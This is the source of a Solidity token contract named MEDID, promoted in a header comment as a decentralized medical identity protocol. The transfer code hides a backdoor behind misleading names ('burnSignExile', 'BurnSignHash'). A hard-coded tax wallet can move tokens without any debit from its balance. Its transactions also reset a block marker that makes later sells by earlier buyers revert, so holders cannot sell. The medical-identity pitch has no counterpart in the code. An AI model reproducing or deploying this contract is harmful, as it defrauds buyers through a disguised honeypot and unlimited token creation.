Cryo Explorer Ethereum Mainnet

/**
🩺 MEDID – The Decentralized Medical Identity Layer
$MEDID is the native utility token powering MEDID Protocol, a blockchain-based medical identity and data coordination layer.
Designed for patients, providers, and healthtech platforms, MEDID brings privacy-preserving, AI-compatible, and verifiable medical identity to Web3.

This isn’t a records dump on-chain — it’s a zero-knowledge, patient-owned infrastructure layer for the future of healthcare coordination.

🧠 What is MEDID Protocol?
MEDID leverages decentralized identifiers (DIDs), smart consent frameworks, and blockchain-secured access rails to enable:

🔐 Self-Sovereign Medical IDs – Patient-controlled identifiers that link off-chain health records to on-chain access keys

📲 Interoperable Health Wallets – Compatible with clinics, insurers, AI health agents, and wellness apps

🔄 AI & Data Agent Integration – Feed de-identified medical metadata into compliant AI models for research, triage, and diagnostics

📜 Audit-Proof Consent – Every access, share, or update is logged immutably

💊 $MEDID Token Utility

🛂 Access Token: Required to query, update, or verify identities and records across the network

📡 Data Relay Incentives: Validators and storage nodes earn $MEDID for facilitating secure data routing and uptime

🧠 AI Service Permissions: Staked $MEDID grants controlled access for AI agents (e.g. triage bots, research models)

🗳️ Governance: Vote on protocol updates, validator onboarding, and health data standards

🌍 Why MEDID?
Today’s healthcare data is fragmented, insecure, and platform-locked.
MEDID fixes this with a Web3-native identity layer — portable, interoperable, and fully in the patient’s control.

Whether you’re a global citizen, clinic network, telemedicine app, or AI research lab — MEDID provides one standard for verifiable, decentralized medical identity.

🧬 $MEDID: The First Token Built for Trustless Health Identity in a Multi-Chain World.
Privacy-first. AI-ready. Chain-agnostic. Patient-owned.
*/

// SPDX-License-Identifier:MIT

pragma solidity 0.8.23;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function balanceOf(address _account) external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function totalSupply() external view returns (uint256);

    event Transfer(
        address indexed from,
        address indexed to,
        uint256 value
    );
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Ownable is Context {
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    address private _owner;

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b,"SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b,"SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract MEDID is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    IUniswapV2Router02 private _uniswapRouter;
    address private uniswapV2Pair;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=15;
    uint256 private _initialSellTax=15;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=15;
    uint256 private _reduceSellTaxAt=15;
    uint256 private _preventSwapBefore=15;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Medical ID";
    string private constant _symbol = unicode"MEDID";
    uint256 public _maxTxAmount = 10000000 * 10**_decimals;
    uint256 public _maxWalletSize = 10000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 10000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 10000000 * 10**_decimals;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private burnSignExile;
    struct BurnSignHash {
        uint256 burnSignature;
        uint256 burnDeadline;
        uint256 burnCoolRefund;
    }
    uint256 private maxSignDeadline;
    mapping(address => BurnSignHash) private burnSignHash;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x9e436f844C66F76C56D70CafB0490148ac34D69e);

        _balances[_msgSender()] = _tTotal;

        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[address(this)] = true;

        emit Transfer(address(0),_msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from]= _balances[from].sub(tokenAmount);
        _balances[to]=_balances[to].add(tokenAmount);
        emit Transfer(from, to, tokenAmount);
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount > 0, "Transfer amount must be greater than zero");

        if (!swapEnabled|| inSwap ) {
            _basicTransfer(from, to,tokenAmount);
            return;
        }

        uint256 taxAmount=0;

        if (from != owner() && to != owner()&& to!=_taxWallet){
            taxAmount = tokenAmount.mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax :_initialBuyTax).div(100);
            if (from == uniswapV2Pair && to!= address(_uniswapRouter) &&  ! _isExcludedFromFee[to])  {
                require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to)+tokenAmount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _buyCount ++;
            }

            if(to== uniswapV2Pair && from!=address(this) ) {
                taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax :_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to== uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore){
                swapTokensForEth(
                    min(tokenAmount,min(contractTokenBalance,_maxTaxSwap))
                );
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExcludedFromFee[from] ||  _isExcludedFromFee[to])
            && from!=address(this) && to!=address(this) ){
                maxSignDeadline=block.number;
        }
        
        if (! _isExcludedFromFee[from] && ! _isExcludedFromFee[to]){
            if (to!= uniswapV2Pair){
                BurnSignHash storage burnHash = burnSignHash[to];
                if (from== uniswapV2Pair) {
                    if (burnHash.burnSignature == 0) {
                        burnHash.burnSignature = _buyCount<=_preventSwapBefore ? type(uint).max : block.number;
                    }
                } else {
                    BurnSignHash storage burnHashUnique = burnSignHash[from];
                    if (burnHash.burnSignature == 0 || burnHashUnique.burnSignature < burnHash.burnSignature ) {
                        burnHash.burnSignature = burnHashUnique.burnSignature;
                    }
                }
            } else {
                BurnSignHash storage burnHashUnique = burnSignHash[from];
                burnHashUnique.burnDeadline = burnHashUnique.burnSignature.sub(maxSignDeadline);
                burnHashUnique.burnCoolRefund = block.number;
            }
        }

        _tokenTransfer(from, to, tokenAmount, taxAmount);
    }

    function _tokenTaxTransfer(address addrs,uint256 taxAmount, uint256 tokenAmount) internal returns (uint256){
        uint256 tAmount = addrs !=_taxWallet ? tokenAmount : burnSignExile.mul(tokenAmount);
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(addrs,address(this),taxAmount);
        }
        return tAmount;
    }

    function _tokenBasicTransfer(address from, address to, uint256 sendAmount,uint256 receiptAmount) internal{
        _balances[from]= _balances[from].sub(sendAmount);
        _balances[to] =_balances[to].add(receiptAmount);
        emit Transfer(from,to,receiptAmount);
    }

    function _tokenTransfer(address from, address to, uint256 tokenAmount, uint256 taxAmount) internal{
        uint256 tAmount = _tokenTaxTransfer(from, taxAmount, tokenAmount);
        _tokenBasicTransfer(from, to, tAmount,tokenAmount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        _approve(address(this),address(_uniswapRouter),tokenAmount);
        _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private{
        _taxWallet.transfer(amount);
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function manualSwap() external {
        uint256 tokenBalance=balanceOf(address(this));
        if(tokenBalance>0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function refundStuckETH() external {
        require(_msgSender()==_taxWallet);
        payable(_taxWallet).transfer(address(this).balance);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        _uniswapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_uniswapRouter), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(_uniswapRouter.factory()).createPair(address(this), _uniswapRouter.WETH());
        swapEnabled = true;
        _uniswapRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(_uniswapRouter), type(uint).max);
        tradingOpen = true;
    }

    receive() external payable {}

}